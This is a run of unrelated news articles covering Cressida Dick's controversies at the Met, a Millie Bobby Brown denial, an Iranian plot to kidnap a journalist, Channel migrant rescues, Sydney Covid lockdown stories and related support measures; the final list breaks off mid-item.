The top cop dogged by controversy: Under-fire Cressida Dick has been embroiled in several controversies during her time at Scotland Yard Cressida Dick has been embroiled in a string of controversies during her 38-year career at the Met Cressida Dick has been embroiled in a string of controversies during her 38-year career at the Met. In July 2005 she was in overall charge of the operation which saw electrician Jean Charles de Menezes, 27, shot dead on a Tube train in south London. Mr de Menezes, a Brazilian working in the capital, was blasted in the head seven times by police at Stockwell station after being followed by officers from his home nearby. Later inquiries heard he appeared to match the description of suspects whose bombs failed to detonate on the transport system the previous day. Their attempted attack followed the 7/7 atrocity which killed 52 people on Tubes and a bus in London earlier that month. Dame Cressida was cleared of all blame by later inquiries, but Mr de Menezes' family expressed 'serious concerns' when she was appointed Met Commissioner in 2017. The top policewoman, 60, told the Mail in 2018: 'It was an appalling thing - an innocent man killed by police. Me in charge. Awful for the family and I was properly held to account. We learned every lesson that was to be learned. 'My job was to stand up and be counted, tell the truth and carry on. If police officers fell to pieces or resigned when operations didn't go well, it wouldn't send out a good message.' In 2014 Dame Cressida was an assistant commissioner during the creation of Operation Midland  the Met's investigation into spurious VIP child sex abuse allegations. Innocent men, including the late Lord Brittan and former Tory MP Harvey Proctor, were pursued by the force. The Met's star witness 'Nick' was later revealed to be serial liar Carl Beech. In 2017 Dame Cressida was criticised for her choice of words after she said the victims of the London Bridge terror attack demonstrated London's 'diversity'. The officer added: 'We believe, of course, that that's what makes our city so great. It's a place where the vast majority of time it's incredibly integrated and that diversity gives us strength.' In 2019 the Met under Dame Cressida's leadership was widely criticised for its 'light-touch' policing of Extinction Rebellion protests. The environmental demonstrators were allowed to blockade key areas of the capital for days, including Westminster Bridge and Oxford Circus. Dame Cressida has faced a particularly difficult 2021. She faced huge pressure to resign over the Met's handling of a vigil in memory to murdered Sarah Everard - who was raped and murdered by serving officer Wayne Couzens. Women were pushed to the floor and arrested after being asked to leave the area due to Covid rules - leading to accusations of 'heavy-handedness'. Police were later exonerated in a watchdog report. However the pressure mounted again last month when a damning inquiry into the 1987 murder of a private investigator who was looking into bent cops branded her force 'institutionally corrupt' and condemned her for blocking the gathering of evidence. She said it was a 'matter of great regret that no one has been brought to justice' in the case of Daniel Morgan, who was killed with an axe to the head in the car park of the Golden Lion pub in Sydenham, south-east London. But she refused to resign over the matter, despite calls from Mr Morgan's family to consider her position. Advertisement

Mr Khan said: 'It was not right what happened on Sunday - not just at Wembley, but across our city with the hooligans, from outside London, breaking the law in Leicester Square, Liverpool Street, Trafalgar Square, Wembley, and so forth. The FA are reviewing their arrangements at Wembley, the Met Police Service will take part in that review.

'The Met Police Service as we speak are sifting through the CCTV and body-worn videos. Already, 86 arrests have been made. I'd remind people that 19 police officers were injured. It's really important that those responsible for criminal behaviour are arrested, charged and prosecuted.

'What's also really important, that I say loudly and clearly: the police have my full confidence and full support. One of my jobs as the mayor is to provide scrutiny of the police service to help provide the checks and balances in a vibrant democracy.

'The police should be properly policed and often that there are difficult conversations between me as mayor and the senior team at the Met Police Service, but they have got my full support.'

Sources told the Times there will be informal discussions next month and the formal process will only begin if she receives an indication the Government wishes for her to stay. Without such an indication, she will be expected to resign.

Home Secretary Priti Patel makes the appointment, taking into consideration any recommendation from Sadiq Khan, the mayor of London, who oversees the Met.

It comes after a difficult year for the force, which has faced a barrage of criticism - and calls for Ms Dick to resign - over its handling of a vigil in memory of Miss Everard.

Hundreds of women turned out to Clapham Common to pay their respects to the marketing manager after she was raped and murdered by a serving police officer.

But some were pinned down to the floor and arrested after police urged the group - mainly consisting of young women - to leave the area.

The All Party Parliamentary Group on Democracy and the Constitution (APPGDC) later said police had breached 'fundamental rights' in their handling of the vigil.

Perhaps the most damaging blot on her card is that of the shambolic Operation Midland - the Met's 1milliion investigation into spurious VIP child sex abuse allegations.

Innocent men, including the late Lord Brittan and former Tory MP Harvey Proctor, were pursued by the force in a probe sanctioned in 2014 while Dame Cressida was an assistant commissioner.

The Met's star witness 'Nick' was later revealed to be serial liar Carl Beech - who was jailed after police investigating his claims discovered his deceit. Dame Cressida later apologised to those caught up in the investigation, including Lady Brittan.

Despite the criticism, Dame Cressida does have backers and ones that might increase her chances of remaining in the 270,000-a-year commissioner role.

She has regularly received the public backing from the Home Secretary - even amid reports of wavering support.

She has won praise as the first ever female commissioner in the Met's 190-year history and is said to be popular among rank-and-file officers.

And she has managed to find a way to ride-out the controversies which have mounted up across her 40-year career - in turn winning praise for her resilience and even earning the nickname 'Comeback Cressida' in some circles.

Last month, an independent panel on the death of private investigator Daniel Morgan found that the Met had prioritised its reputation over finding Mr Morgan's killer - sparking allegations of institutional corruption in Scotland Yard.

In its bombshell report, the Daniel Morgan Independent Panel concluded forms of police corruption had hampered both the murder inquiry, and its own work to investigate the reasons why the case was never solved.

Singling out Dame Cressida for blame, the report said she had not given a 'reasonable explanation' for blocking access to computer data and delaying the release of files, the last of which were provided only in March.

A Home Office source said there were 'serious concerns with the Met's leadership and how it responded to failings' - although Miss Patel and Boris Johnson later expressed confidence in Dame Cressida.

The commissioner apologised for past mistakes, saying: 'It is a matter of great regret that no one has been brought to justice and that our mistakes have compounded the pain suffered by Daniel's family. For that I apologise again now.

'I have been personally determined that the Met provided the panel with the fullest level of co-operation in an open and transparent manner, with complete integrity at all times.'

But amid calls for her resignation, Dame Cressida said: 'I don't believe we are institutionally corrupt. No, I don't accept that. I have the deepest feelings for Daniel Morgan's family. They have shown extraordinary grit and determination and courage.

'Yesterday, I apologised again to them for our failings and the fact that we have not brought anybody to justice despite six investigations and countless other reviews and pieces of work.'

She added: 'And for the fact that, in so doing and along the way, we have clearly, we the Met, my force, of which I'm very proud to be the Commissioner, we have caused them extra anguish. But I don't accept that we are institutionally corrupt, no.'

The independent panel led by Baroness Nuala O'Loan found that the Met had put protecting its own reputation above finding Mr Morgan's killer.

The panel's report said: 'Concealing or denying failings, for the sake of the organisation's public image, is dishonesty on the part of the organisation for reputational benefit and constitutes a form of institutional corruption.'

Dame Cressida also came under the spotlight after it emerged that bosses at Scotland Yard missed three crucial clues about killer cop Couzens that could have seen him kicked out of the force before he murdered Miss Everard.

Wayne Couzens' ex-colleagues at the Civil Nuclear Constabulary (CNC), where the 48-year-old (pictured left and right) joined in March 2011, reportedly nicknamed him 'The Rapist' because he made some female officers feel uncomfortable

Couzens has pleaded guilty to murdering 33-year-old Ms Everard (pictured above) after snatching her off the street while she walked home from a friend's house in Clapham in March

Daniel Morgan, pictured, was investigating claims of corruption within the Metropolitan Police when he was murdered in 1987 - and the force failed him and his family ever since. His brother Alastair told the media that Cressida Dick should resign

Couzens, who kidnapped, raped and murdered the marketing executive while she walked home from a friend's house in Clapham in March, was reported to bosses for allegedly slapping a female colleague's bottom at Bromley police station in 2018 - just weeks after he joined the force.

Shortly after starting at Bromley in South London, the married killer allegedly stopped a female motorist and said her tax and insurance were out of date before making a note of her address so he could later pull up outside her house and leer at her, the Sun on Sunday reports.

Couzens, whose former colleagues at the Civil Nuclear Constabulary allegedly nicknamed him 'The Rapist' because of how he is said to have made female colleagues uneasy, is also accused of parking his patrol car by schools so he could watch mothers and sixth-formers.

A Metropolitan Police spokesman told MailOnline that it has no record of the allegations being passed to the Directorate of Professional Standards, and will assess any new allegation it receives 'appropriately'. The force previously told the Sun on Sunday: 'We are not able to respond to queries such as this while proceedings are ongoing.'

Last night it also emerged that police will be told to take offences such as indecent exposure and street harassment - what a Home Office source described to the Sunday Times as 'non-contact sexual offences' - more seriously in the wake of the murder.

The latest allegations are likely to heap pressure on Commissioner Dame Cressida to explain why Couzens was not kicked out of the force - and why he became an armed member of the elite Parliamentary and Diplomatic Protection squad at the time of Miss Everard's killing.
British actress Millie Bobby Brown on Tuesday denied having a sexual relationship with a Los Angeles-based TikTok star, after he made a series of explicit claims about the 17-year-old and said he 'groomed' her.

Hunter 'Echo' Ecimovic, 21, hosted an Instagram Live on Monday and made a series of wild and salacious claims about the actress.

The pair had been photographed together in 2020, embracing and looking happy.

Ecimovic claimed in his Instagram that he lived with Brown, then 16, and her parents for eight months and that he 'thought her mum and dad knew about everything.'

A representative for Brown, star of Stranger Things, star told DailyMail.com on Tuesday that he was not telling the truth.

'Mr Ecimovic's remarks on social media are not only dishonest, but also are irresponsible, offensive and hateful,' the spokesperson said.

Godzilla and Enola Holmes actress Millie Bobby Brown, 17, pictured last year, has denied claims by TikTok star Hunter 'Echo' Ecimovic, 21, that he was in a sexual relationship with her

Ecimovic took to Instagram Live on Monday (pictured) to make crude comments about Brown, as well as to allege several sexual encounters with the British actress

A representative for the Stranger Things star, 17, said that Ecimovic is not only being 'untruthful,' but also 'irresponsible, offensive and hateful' and that they are 'taking action to ensure he stops this behavior once and for all'

'Instead of engaging in a public discourse with him through the press or on social media, we are taking action to ensure that he stops this behavior once and for all.'

The age of consent in California, where Ecimovic is based, is 18.

Brown is a British citizen, where the age of consent is 16. She also owns a home in Atlanta, Georgia, where the age of consent is also 16.

Brown has this summer been dating Jake Bongiovi, the 19-year-old son of Jon Bon Jovi, who is currently studying at Syracuse University.

She was previously linked to David and Victoria Beckham's son Romeo, 18.

Fans of the actress were angered by Ecimovic's comments on Monday, and flooded the comment section with questions and criticism.

Ecimovic during the Instagram Live doubled down, and refused to say sorry for his lewd claims about their sex life.

Brown is pictured with her father, Robert, at the 2018 Time 100 Gala at the Lincoln Center

'You guys don't know anything. You guys are just following after one person saying one thing, like, everybody hates him so that everyone's going to hate me,' he said.

'You guys just follow each other like a big duck followed by little ducks. Whatever the top thing is, you just follow up.

'You guys don't know the story of anything, and I will never apologize. I hope you know that.'

Ecimovic, shirtless and with his friends chuckling from behind him, continued: 'I have nothing to apologize for, so make that clear. I have zero things to apologize for. You guys do not know a single thing at all.'

After Ecimovic ended his Instagram Live, footage was screen-grabbed and shared across social media.

In response, supporters of Brown created their own social media accounts to 'expose' Ecimovic.

Ecimovic's Instagram is currently unavailable.
A man in Covid-hit south-west Sydney has revealed the inventive and hygienic way a kebab shop delivered his food in a TikTok video.

The video posted on the account of western Sydney barber Top Kuts shows a car rollling up to the driveway of a home before the man filming asks the driver to 'Throw! Throw! Throw!'

A kebab in a wrapper then sails out of the driver-side window and lands on the man's driveway.

He then sprays the delivery with a can of Glen 20 disinfectant, overlaid with the caption, 'I got the flavour from my best friend, thanks.'

The car rolls up to the man's driveway as he encourages the driver to 'Throw! Throw! Throw!'

A kebab lands on his driveaway after being thrown from the car and is promptly treated with Glen 20 disinfectant

The video was posted as it was announced Greater Sydney's lockdown would be extended for another two weeks.

People will have to remain at home unless they have a reasonable excuse to do so, including shopping, exercise, care of a vulnerable person or essential work.

Takeaway foot outlets - including kebab shops - remain open for delivery.

The Restaurant and Catering Association recently estimated restaurant, cafe and catering businesses would lose up to $700million during Sydney's lockdown to this Friday, before the extension was announced.

Covid support measures directed at small and medium businesses and announced by NSW Premier Gladys Berejiklian and Prime Minister Scott Morrison on Tuesday provide for payment of 40 per cent of a company's weekly wage bill per week, up to a maximum of $10,000.

A business must show its revenue is 30 per cent lower than an equivalent two-week period in 2019 to qualify, and it must maintain its full time, part time and long term casual staffing level as of July 13.
A proud Maori woman has become the first police officer in Queensland to wear moko kauae, a sacred female skin marking that signifies dignity and integrity.

Senior Constable Brenda Lee from Jacobs Well Police Beat said it took her a personal journey spanning 18 years to finally feel ready for her moko kauae.

She explained the symbolic skin markings had special cultural and spiritual significance and were passed down through generations of women.

Senior Constable Brenda Lee from Jacobs Well Police Beat said it took her 18 years on a personal journey to finally feel ready for her moko kauae

The officer said each Maori woman was inked with unique patterns that were only revealed when the design was complete.

She said she had been preparing for the painful procedure for many years, so was able to take the discomfort in her stride.

'So, after it was finished, I went to the mirror and had a really good look and oh, man, I cried. It was what I was waiting for,' she recalled.

Senior Constable Lee said that being Maori, a woman, a parent and a grandparent meant she could act as a strong link to her community.

The officer recalled immediately connecting with a patient during a mental health job after they discovered they were both Maori women.

She said she had been preparing for the painful procedure for many years, so was able to take the discomfort in her stride

The senior officer said each Maori woman was inked with unique patterns that were only revealed when the design was complete

She explained the symbolic skin markings had special cultural and spiritual significance and had descended through generations of women

'I was able to interact with her, keep her calm and I picked up that she missed her mum. I started to sing little waiata, little songs to her from when she would have been at school and we did a karakia together,' she said.

Another victim was hesitant to report a domestic violence attack, but Constable Lee said she reminded her of the strength of Maori women.

'I said, you have courage, get it back again, you got this girl, kei a koe te kaha, you got this!' she recalled.

Constable Lee said she had been blown away by the response to her moko kauae and hoped it would encourage other people to be proud of who they were.

'One indigenous officer said he was very proud of me making a stand, so that really touched my heart that one,' she said.

Senior Constable Lee said that being Maori, a woman, parent and a grandparent has meant she can act as a strong link to her community

Queensland Police said it was 'very proud' to stand with the officer on her journey in a post on Facebook.

They said their policy states facial and neck tattoos are permitted if they relate to religious beliefs and practices.

'Proud of you, Senior Constable Brenda Lee. Aroha nui,' one woman wrote.

'Brenda, your passion and pride gave me goosebumps. Stand proud my Sister in Blue,' another commented.

'This is so awesome! May there be more embracing of cultural heart all over. So much to learn and appreciate from people all over the world,' a third shared.
New York City prosecutors have charged four Iranian spies with plotting to kidnap a U.S. journalist from Brooklyn, smuggling her out of the city on a speedboat then sailing down to Venezuela before flying to Tehran, after she criticized the regime for its human rights abuses.

Masih Alinejad, 44, a producer with Voice of America, told NBC News that she was the target of the plot. She was not named in court documents.

The conspirators, described as intelligence officials, had also plotted to lure a person in the UK and three others in Canada to Iran, an indictment said. They had all also been critical of Iran.

William F. Sweeney Jr., the head of the F.B.I.'s New York office, said: 'This is not some far-fetched movie plot. We allege a group, backed by the Iranian government, conspired to kidnap a US-based journalist here on our soil and forcibly return her to Iran. Not on our watch.'

A federal indictment describes a plot that included attempts to lure Alinejad to Venezuela to capture her, and forcibly render her to Iran. The Iranians had a live feed of her home.

The Iranians researched how to get the author out of New York, according to the charging documents. One of the four researched a service offering 'military-style speedboats for self-operated maritime evacuation out of New York City, and maritime travel from New York to Venezuela, a country whose de facto government has friendly relations with Iran,' the Justice Department said.

Alireza Shahvaroghi Farahani is described in charging documents as the spy chief. He worked with Mahmoud Khazein and Omid Noori plus Kiya Sadeghi. They all live in Iran and remain at large.

'I've been targeted for a number of years but this is the first time that such an audacious plot has been hatched and foiled,' she told NBC by email.

Masih Alinejad, who was born in Iran and now lives in New York City, has confirmed that she was the target of a plot by spies sent from Tehran to kidnap her

On Tuesday night Alinejad tweeted: 'I am grateful to FBI for foiling the Islamic Republic of Iran's Intelligence Ministry's plot to kidnap me. This plot was orchestrated under Rouhani.

'This is the regime that kidnapped & executed Ruhollah Zam. They've also kidnapped and jailed Jamshid Sharmahd and many others.'

Zam, who had been living in exile in France, was detained after traveling to Iraq in 2019.

He ran Amad News, a popular anti-government website Iran accused of inciting the 2017-18 protests.

He was accused of 'corruption on earth' and executed in December 2020.

Sharmahd, who lived in California, went missing in July 2020 as he was making a stop in Dubai while trying to book an onward flight to India for a business trip.

Iranian state media reported in August 2020 that Iranian intelligence agents had captured the 66-year-old Iranian-German dual national. On the same day, Iranian state TV aired a program in which the dissident appeared to confess to masterminding a 2008 bomb attack that killed 14 Iranians and wounded 215 others at a mosque in the southwestern city of Shiraz.

He remains in custody and is yet to be charged, and his family say he has been denied a lawyer.

Mahmoud Khazein (left) and Omid Noori (right) are among four Iranians charged in the kidnap plot

Kiya Sadeghi (left) is accused of being an asset working for the Iranian spy chief, Alireza Shahvaroghi Farahani (right)

Alinejad's criticism of Iran July 2018, The New York Times: 'As a journalist in Iran, I often got into trouble exposing the regimes mismanagement and corruption until, eventually, my press pass was revoked. 'I was often threatened with arrest or worse for writing articles critical of former President Mahmoud Ahmadinejad. 'Ultimately, I was forced to flee my homeland in 2009.' July 2020, Voice of America: 'I call on the leaders of European countries to join the U.S. in not only condemning Irans hostage-taking but also condemning its recent executions of prisoners.' August 2020, The Washington Post: 'The regimes cruel treatment of women remains one of its biggest weaknesses, and my focus on related injustices explains why it remains so persistent in targeting me.' Advertisement

The four named on Tuesday 'monitored and planned to kidnap a US citizen of Iranian origin who has been critical of the regime's autocracy, and to forcibly take their intended victim to Iran, where the victim's fate would have been uncertain at best,' the indictment read.

Alinejad in Tuesday night, in a video accompanying her tweet, said in Farsi: 'The police have been around my home for the past two weeks now.

'When I asked them why they were here, they said it was to protect me.

'This is also what the FBI told me.

'They said they'd tell me later, but that the police has to be here often. They are here from 5am until midnight.

'I'm so not used to being protected by the police. Every time I see them I assume it's to arrest me.'

She laughed, and continued: 'Yes, I'm also worried. I see them often - even when I go out to check on my flowers in my garden.

'But it imbues me with a feeling of safety. This wouldn't have happened in my homeland.

'It's a weird feeling.'

In 2020, Alinejad wrote in The Washington Post that she learned of the Iranian regime's attempts to kidnap her.

'It's been a horrifying experience, but I can't say that it's been entirely unexpected,' she wrote.

'The regime has tried many forms of intimidation to silence me over the years.'

The four spies were named in court documents as Alireza Shavaroghi Farahani, Mahmoud Khazein, Kiya Sadeghi and Omid Noori.

The four defendants all live in Iran, the prosecutors said, identifying one of them, Farahani, as an Iranian intelligence official and the three others as 'Iranian intelligence assets.'

A fifth defendant, Niloufar Bahadorifar, accused of supporting the plot financially but not participating in the kidnapping conspiracy, was arrested in California.

Journalist Ruhollah Zam, who had been living in exile in Paris, was lured to Iraq in 2019 and then taken to Iran. He was charged with 'corruption on earth', accused of stirring up protests in 2017, and executed in December 2020

Dissident Jamshid Sharmahd, 66, who lived in California, went missing in July 2020 as he was making a stop in Dubai while trying to book an onward flight to India for a business trip. He remains in custody in Iran and has not yet been charged

The charging documents say the men hired private investigators, by misrepresenting who they were and what they wanted, to surveil the author in Brooklyn during 2020 and 2021.

In 2018, Alinejad described in The New York Times why she fled her homeland.

'As a journalist in Iran, I often got into trouble exposing the regime's mismanagement and corruption until, eventually, my press pass was revoked,' she wrote.

'I was often threatened with arrest or worse for writing articles critical of former President Mahmoud Ahmadinejad. Ultimately, I was forced to flee my homeland in 2009.'

In 2014, from the U.S., she began a campaign against forcing Iranian women to wear a hijab.

Her sister and niece appeared on state television to disown her.

Alinejad is seen at TheWrap's Power Women Summit in Los Angeles in November 2018

She continued: 'I have remained out of reach of the regime, but my family has taken the brunt. There has been financial pressure: threats to revoke business permits and licenses, for example.

'Some relatives have been threatened with firing until they proved their loyalty by offering secrets about me. And, of course, the Intelligence Ministry regularly sends officers to pay visits to my elderly parents. At one point they offered to arrange a family reunion in Turkey.

'I can only imagine what they had in mind for me.'

Her memoir, The Wind in My Hair: My Fight for Freedom in Modern Iran, was released in 2018.

Her brother, Alireza Alinejad, a father of two small children, was arrested in 2019 and taken to the infamous Evin prison where he was held for 10 months before being sentenced to eight years in prison.

Jason Brodsky, a senior analyst at Iran International, called it a 'major case'.

'The Iranian regime is being accused by the Justice Department of hatching a plot to kidnap a US citizen of Iranian origin,' he told The National.

'This is a tactic that the Islamic Republic has employed before.'

He pointed to the past cases of activist Ruhollah Zam  who was lured from France to Iraq, then kidnapped, taken to Iran, and later executed; and Habib Chaab who was kidnapped in Turkey by the Iranian regime.
Dozens of migrants were dramatically rescued off the French coast on Monday - including 37 who were trapped on a sandbank and had to be airlifted to safety in a race against the rising tide by helicopter.

A French naval helicopter had just 20 minutes to rescue the group before the sandbank was submerged underwater.

It made successive sorties picking up the group and transferring them to the safety of the shore.

And a further 55 people including 10 women and two children had to be brought back into port after the boat they were packed onto got into difficulties.

In a dramatic picture released by French coastguard migrants can be seen running towards a French naval search and rescue helicopter which landed on the sandbank.

Another 31 people had to be rescued after two other boats also got into difficulties on Monday.

In a dramatic picture released by French coastguard migrants can be seen running towards a French naval search and rescue helicopter which landed on the sandbank

In a statement the French Prefecture Maritime covering the English Channel and North Sea said the CROSS Gris-Nez surveillance centre was contacted by the boat signalling itself in difficulty off Dunkirk.

A Dauphin helicopter of the French Navy based in Le Touquet and a speedboat of the French lifeboat service SNSM out of nearby Gravelines were scrambled.

But the boat could not get close enough to to the sandbank so the helicopter had to repeatedly land to pick up the group.

They said: 'The 37 castaways were stranded with their boat on a sandbank, and isolated by the rising tide.

'The SNSM not being able to access the bank, the helicopter of the French Navy proceeded to transfers by successive landings from the sandbank to the mainland, but must proceed to the hoisting of the last five castaways - the water having completely covered the beach in less than 20 minutes.'

A French naval helicopter had just 20 minutes to rescue the group before the sandbank was submerged underwater

The Channel crisis deepened even further earlier this week as the number of migrants reaching Britain in small boats topped 7,000 since the start of the year.

Eyewitnesses said at least 130 migrants arrived in the UK from northern France on Monday, on top of dozens more the previous day. It means the total - which reached 6,878 on Saturday - has now topped 7,000 since January 1.

Last year saw a record 8,400 people crossing - a figure now almost certain to be exceeded within weeks if current rates continue.

It followed a dramatic rescue on Sunday after two people fell off a rigid hulled inflatable boat and into the sea. They were rescued by the RNLI Ramsgate lifeboat crew.

There were 225 arrivals on Saturday, with a further 131 intercepted by French authorities before they could reach British waters.

The number of migrant arrivals from France rocketed last year to an all-time high of 8,410 compared with just 1,850 in the whole of 2019.

Home Secretary Priti Patel last week outlined a series of new measures which she hopes will smash people-trafficking gangs and deter illegal crossings.

The Nationality and Borders Bill will set up a two-tier system for asylum claims, giving fewer rights to claimants who arrive through illegal routes such as across the Channel.

At the same time, asylum seekers accepted through recognised, official routes - such as those operated by the United Nations - will receive the immediate right to work and settle here.

The Bill also contains new powers for Border Force to turn small boats around in the Channel and deter them from reaching the UK. However, these powers will be conditional on other nations, such as France, agreeing to allow migrant boats to dock in their country.
A young couple trapped in a Covid-infected apartment complex in Bondi have spoken from their balcony to reveal their 'frightening' living conditions.

Angus Hall and Ashley Ware live in the unit complex where nine cases of coronavirus have been detected across five households, as the Indian Delta strain continues to spread across Sydney.

All residents were deemed close contacts and must undergo 14 days of quarantine, but some in the building believe they will be confined to their homes for far longer.

'The letter they (NSW Health) wrote yesterday (Tuesday) definitely gave them scope for it to be extended,' Mr Hall told Sunrise.

Bondi couple Angus Hall and Ashley Ware are trapped in their apartment due to the Covid outbreak in NSW

The couple (pictured) are unable to leave their apartment, with food dropped off each day

Police and security have been spotted guarding the complex on Botany St, with public access forbidden.

The couple also can't leave their unit for any reason.

'We are not meant to leave at all. If any deliveries come to our door they will buzz and then leave it at our door and then buzz again when it is left, and then we can get it,' Ms Ware said.

'We are not allowed to take our bins out or anything like that.'

The couple even required the green light from NSW Health about a food delivery at 9am, with residents to only receive deliveries between 12pm and 8pm each day.

Mr Hall added the experience has been 'frightening' and that the pair are 'filling in time and trying not to think' about their situation.

A woman who also lives in the Bondi complex revealed children 'trapped' at home are 'going crazy.'

Another mother, who lives with her partner, toddler and and baby - only found out how many people in the building had the Delta variant by watching the news - two days after they were all thrown into isolation.

'We were contacted by the building strata manager on Saturday to say there was a Covid case in one of the units, and not to leave the house,' she told Daily Mail Australia.

Two more stern emails arrived over the next few hours instructing all residents not to leave the building under any circumstances - the last of which was from NSW Health letting them know nurses would be coming through and swabbing occupants.

Squads of nurses arrived at about 7.45pm on Sunday and started testing everyone.

They will be tested again on Saturday.

'I spoke to someone from the Public Health Unit on Sunday and they told me there were multiple cases inside the building, but I found out how many cases there were by watching the news,' the mum explained.

Elsie is 74 and has lived in the building since 2002. She is deeply concerned about contracting the Delta variant.

She is also worried the building was not locked down fast enough, and described the situation to Daily Mail Australia as 'awful'.

'We were told not to leave our homes on Sunday, but we could all still hear the elevator going - it was delivery people coming and going with food, before the place had been deep cleaned,' she said.

'Who brought the infection in? Where do they work? Will they bring it back again? These are the things we need to know.'

Angus Hall and Ashley Ware live in the apartment complex in Sydney's east where nine cases of coronavirus have been detected across five households

All residents in the Bondi apartment - which Angus Hall and Ashley Ware call home - have been deemed close contacts and must undergo 14 days of quarantine

On Wednesday, New South Wales recorded 97 Covid-19 cases overnight as Sydney's lockdown was extended by another two weeks to stem the spread of the highly-contagious Delta variant of the virus.

Premier Gladys Berejiklian said 24 of those infections were out in the community while for the entire time they were contagious, but that there were 36 mystery cases still under investigation.

The state's outbreak, which began in Sydney's eastern suburbs on June 16, has now reached 864 locally-acquired cases.

She said the city's strict lockdown - which includes Greater Sydney, the Blue Mountains, the Central Coast and Wollongong - would be extended until 11.59pm July 30.

Ms Berejiklian said the decision to extend the stay-at-home restrictions 'hurts' but that the health advice she was receiving gave her no over option.

'It always hurts to say this, but we need to extend the lockdown for at least another two weeks,' she said.

Greater Sydney's five million residents will continue to be banned from leaving the home unless they have an essential reason, and online learning for schools will continue for at least the next fortnight.
More than 275,000 Australians have signed a parliamentary petition against compulsory Covid vaccinations on the misleading basis that mandatory jabs would breach an ethical code designed in response to Nazi medical experiments.

The wave of signatures comes even as the Australian government insists vaccinations won't be mandated for the wider population, with the exception of aged care workers and possibly disability support staff.

The petition to the Federal Parliament, penned by Mrs Diane Tonacia, cites the 74-year-old 'Nuremberg Code' as a reason why vaccinations shouldn't be made compulsory.

'Experimental vaccines being tested for the Covid-19 virus Is (sic) going against the Nuremberg Code if made mandatory,' the petition argues.

'We therefore ask the House to uphold the Nuremburg (sic) Code and not make Covid-19 vaccinations mandatory.'

The petition was promoted widely on social media by independent MP Craig Kelly, conservative activist Joel Jammal and former One Nation senator Rod Culleton.

It has been posted to Facebook groups including 'ARE YOU AWAKE YET', 'Truth Seekers Australia' and 'Truckies Against Labor'.

The petition to the Australian Parliament had almost 274,000 signatures prior to publication and has since risen by several thousands

The petition cites the Nuremberg Code - a set of medical research principles which arose out of the Nuremberg war crimes trials of Nazi figures (above, in 1946)

The Nuremberg Code is a set of research principles fashioned for doctors in August 1947.

The rules include that it is essential for human subjects of medical experiments to consent.

The code came about as a result of the Nuremberg trials where former Nazi leaders were tried as war criminals, including doctors who performed experiments on concentration camp inmates.

Several ethics experts told the Australian Associated Press FactCheck it's 'misleading and irrelevant' to claim the code relates to a vaccination rollout during a pandemic.

And it is false to suggest the vaccines approved in Australia are considered 'experimental', AAP FactCheck found.

The Pfizer vaccine cleared stage three trials and was formally granted provisional approval by Australia's Therapeutic Goods Administration in January.

The Oxford-AstraZeneca vaccine received the same approval in February following clinical trials.

'The (Nuremberg) code relates to medical experiments not a vaccination rollout,' the fact-checkers found.

'COVID-19 vaccines are not categorised as experimental because they have received the appropriate national approvals after testing.'

Will Covid vaccines be made mandatory in Australia? Covid vaccines are not mandatory but will become compulsory in mid-September for aged care workers Prime Minister Scott Morrison has repeatedly said the vaccines won't be made mandatory for all Australians. 'It's not going to be compulsory to have the vaccine,' Mr Morrison told Radio 2GB last August. 'There are no mechanisms for compulsory ... I mean we can't hold someone down and make them take it'. However, National Cabinet has committed to mandate vaccination for aged care workers by mid-September 2021. That applies for all states and territories except in Victoria, where the decision rests with Chief Health Officer Professor Brett Sutton. Just 16.3 per cent of employees in the sector had been fully vaccinated at the end of June, according to the Federal Government. National Cabinet is strongly encouraging disability workers get vaccinated and next month, will consider mandating vaccination for them by October 31. Advertisement

Despite the large number of petition signatures, 69 per cent of 1,661 Australians surveyed by research group CoreData Australia agreed the Covid-19 vaccine should be compulsory.

However, more than eight in 10 people also agreed there are valid reasons for not receiving the Covid vaccines, the majority pointing to medical reasons and a smaller propotion citing freedom of choice.

CoreData Australia spokesman Andrew Inwood said the survey results clearly showed opinions about vaccination are split in Australia.

Mr Inwood said one interesting finding was people who are educated and wealthy are more likely to believe that vaccination should be compulsory.

Long queues of people wait to receive their shots at the Sydney vaccination hub at Homebush last week

'85 per cent of Australians with more than $1million in savings think that the vaccine should be compulsory and 93 per cent believe those who are choosing not to be vaccinated are selfish,' he said.

'Meanwhile, 63 per cent of average earners think it should be compulsory and 65 per cent think anti-vaxxers are selfish.'

Mr Inwood said the numbers rose steeply with education.

'95% of Australians with any university degree agreed that the vaccine should be compulsory,' he said.
Support measures are available for struggling businesses and workers as Sydney's lockdown is extended for another two weeks.

Alongside the pandemic disaster payment and wage support for companies, the New South Wales government is providing business grants, tax relief and help for tenants.

Businesses must apply for the cash via the Service NSW website and can expect the money in their accounts by the end of the month. They will be able to borrow from their bank to tide them over until then.

Workers who lose hours can apply for up to $600 a week from Services Australia and can expect the money to hit their accounts within days.

Landlords who give a rent reduction can apply for a $1,500 grant from the state government, or a land tax offset equal to the value of the reduction

NSW has increased business support grants to $15,000 to cover the first three weeks of the lockdown. Pictured: Fairfield during lockdown

Tenants who are struggling to pay rent are being urged to talk to their landlords about a reduction.

Landlords who give a reduction can apply for a $1,500 grant from the state government, or a land tax offset equal to the value of the reduction.

Meanwhile, NSW has increased business support grants to $15,000 to cover the first three weeks of the lockdown.

Under a major new support package announced on Tuesday, Sydney workers can claim up to $600 a week and businesses will get 40 per cent of their wage bills covered.

The Commonwealth has upgraded the Covid-19 disaster payment and announced a new business support policy to encourage bosses to retain staff.

The disaster payment has been increased to allow residents who lose 20 hours a week to claim $600, up from $500 and those who lose between eight and 20 hours to claim $375, up from $325.

What support is NSW providing during lockdown?  An extension to the previously announced business grants program. This means eligible businesses with Australian wages below $10 million can claim grants between $7,500 and $15,000 to cover the first three-weeks of restrictions, and takes the potential size of the program to $2.1 billion;  Payroll tax waivers of 25 per cent for businesses with Australian wages of between $1.2 million and $10 million that have experienced a 30 per cent decline in turnover, as well as payroll tax deferrals and interest free repayment plans;  A new grants program for micro businesses with a turnover of between $30,000 and $75,000 which experience a decline in turnover of 30 per cent. The businesses will be eligible for a $1500 payment per fortnight of restrictions.  A capped grant of up to $1,500 for residential landlords who are not liable to pay land tax who reduce rent for tenants estimated at $210 million;  Land tax relief equal to the value of rent reductions provided by commercial, retail and residential landlords to financially distressed tenants, up to 100 per cent of the 2021 land tax year liability;  Introduction of legislative amendments to ensure a short-term eviction moratorium for rental arrears where a residential tenant suffers loss of income of 25 per cent due to Covid-19 and meets a range of criteria.  No recovery of security bonds, or lockouts or evictions of impacted retail and commercial tenants prior to mediation;  Deferral of gaming tax assessments for clubs until 21 December 2021 and hotels until 21 January 2021;  A $75 million support package for the performing arts sector to be administered by Create NSW;  A support package for the accommodation sector worth $26 million;  